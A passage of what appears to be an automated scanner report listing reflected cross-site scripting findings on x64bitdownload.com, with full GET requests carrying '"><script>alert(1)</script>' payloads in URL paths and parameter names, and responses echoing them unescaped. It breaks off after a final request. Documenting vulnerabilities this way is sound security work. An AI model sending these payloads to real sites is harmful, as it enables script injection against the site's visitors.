HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:18 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:24 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22feed%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22feed%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92842
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-feed-downloads.html4260b"><script>alert(1)</script>fce09807565" /> ...[SNIP]...
4.1520. http://www.x64bitdownload.com/64-bit-feed-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-feed-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a07ec"><script>alert(1)</script>6e593dfd62f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-feed-downloads.html?a07ec"><script>alert(1)</script>6e593dfd62f=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:59:04 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22feed%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22feed%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92845
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-feed-downloads.html?a07ec"><script>alert(1)</script>6e593dfd62f=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3c51"><script>alert(1)</script>c2a577b8281 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-feedreader-downloads.htmlb3c51"><script>alert(1)</script>c2a577b8281 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:02 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:05:28 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22feedreader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22feedreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 41110
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-feedreader-downloads.htmlb3c51"><script>alert(1)</script>c2a577b8281" /> ...[SNIP]...
4.1522. http://www.x64bitdownload.com/64-bit-feedreader-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-feedreader-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d83d"><script>alert(1)</script>0d95b09fc58 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-feedreader-downloads.html?5d83d"><script>alert(1)</script>0d95b09fc58=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:18 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:28 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22feedreader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22feedreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 41113
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-feedreader-downloads.html?5d83d"><script>alert(1)</script>0d95b09fc58=1" /> ...[SNIP]...
4.1523. http://www.x64bitdownload.com/64-bit-file-grabber-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-file-grabber-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82621"><script>alert(1)</script>c53057f24a8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-file-grabber-downloads.html?82621"><script>alert(1)</script>c53057f24a8=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:10 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A12%3A%22file-grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A12%3A%22file+grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94070
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-file-grabber-downloads.html?82621"><script>alert(1)</script>c53057f24a8=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be4af"><script>alert(1)</script>ad7bd7c1eb9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-file-sharing-downloads.htmlbe4af"><script>alert(1)</script>ad7bd7c1eb9 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:59:56 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A12%3A%22file-sharing%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A12%3A%22file+sharing%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94439
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-file-sharing-downloads.htmlbe4af"><script>alert(1)</script>ad7bd7c1eb9" /> ...[SNIP]...
4.1525. http://www.x64bitdownload.com/64-bit-file-sharing-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-file-sharing-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 817d3"><script>alert(1)</script>83b84f29eb9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-file-sharing-downloads.html?817d3"><script>alert(1)</script>83b84f29eb9=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:48:16 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:58:17 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A12%3A%22file-sharing%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A12%3A%22file+sharing%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94442
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-file-sharing-downloads.html?817d3"><script>alert(1)</script>83b84f29eb9=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20c23"><script>alert(1)</script>323d5f8b558 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-forum-c-44-newsgroup-clients-downloads.html20c23"><script>alert(1)</script>323d5f8b558 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22forum%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22forum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 33942
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-forum-c-44-newsgroup-clients-downloads.html20c23"><script>alert(1)</script>323d5f8b558" /> ...[SNIP]...
4.1527. http://www.x64bitdownload.com/64-bit-forum-c-44-newsgroup-clients-downloads.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63229"><script>alert(1)</script>158ae792632 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-forum-c-44-newsgroup-clients-downloads.html?63229"><script>alert(1)</script>158ae792632=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:20 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:46:24 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22forum%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22forum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 33945
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-forum-c-44-newsgroup-clients-downloads.html?63229"><script>alert(1)</script>158ae792632=1" /> ...[SNIP]...
4.1528. http://www.x64bitdownload.com/64-bit-forum-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-forum-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34dd1"><script>alert(1)</script>b828f5462c6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-forum-downloads.html?34dd1"><script>alert(1)</script>b828f5462c6=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:07:41 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22forum%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22forum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91047
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-forum-downloads.html?34dd1"><script>alert(1)</script>b828f5462c6=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21a7c"><script>alert(1)</script>2d7fe0d2eb0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-forums-downloads.html21a7c"><script>alert(1)</script>2d7fe0d2eb0 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:00:44 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:48 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22forums%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22forums%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87218
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-forums-downloads.html21a7c"><script>alert(1)</script>2d7fe0d2eb0" /> ...[SNIP]...
4.1530. http://www.x64bitdownload.com/64-bit-forums-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-forums-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8eaef"><script>alert(1)</script>f7180ec1d07 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-forums-downloads.html?8eaef"><script>alert(1)</script>f7180ec1d07=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:56:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:37 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22forums%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22forums%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87221
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-forums-downloads.html?8eaef"><script>alert(1)</script>f7180ec1d07=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0d91"><script>alert(1)</script>fc86d6334b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-grabber-downloads.htmle0d91"><script>alert(1)</script>fc86d6334b HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98832
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-grabber-downloads.htmle0d91"><script>alert(1)</script>fc86d6334b" /> ...[SNIP]...
4.1532. http://www.x64bitdownload.com/64-bit-grabber-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-grabber-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86ac7"><script>alert(1)</script>733f69cdf35 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-grabber-downloads.html?86ac7"><script>alert(1)</script>733f69cdf35=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:09 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98836
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-grabber-downloads.html?86ac7"><script>alert(1)</script>733f69cdf35=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5d17"><script>alert(1)</script>831c8190191 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-group-downloads.htmld5d17"><script>alert(1)</script>831c8190191 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:45:18 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:55:43 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22group%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22group%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86998
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-group-downloads.htmld5d17"><script>alert(1)</script>831c8190191" /> ...[SNIP]...
4.1534. http://www.x64bitdownload.com/64-bit-group-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-group-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d774c"><script>alert(1)</script>b7a347567e5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-group-downloads.html?d774c"><script>alert(1)</script>b7a347567e5=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:55 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22group%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22group%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87001
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-group-downloads.html?d774c"><script>alert(1)</script>b7a347567e5=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6e64"><script>alert(1)</script>c521abd2a7a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-highspeed-connection-downloads.htmlf6e64"><script>alert(1)</script>c521abd2a7a HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
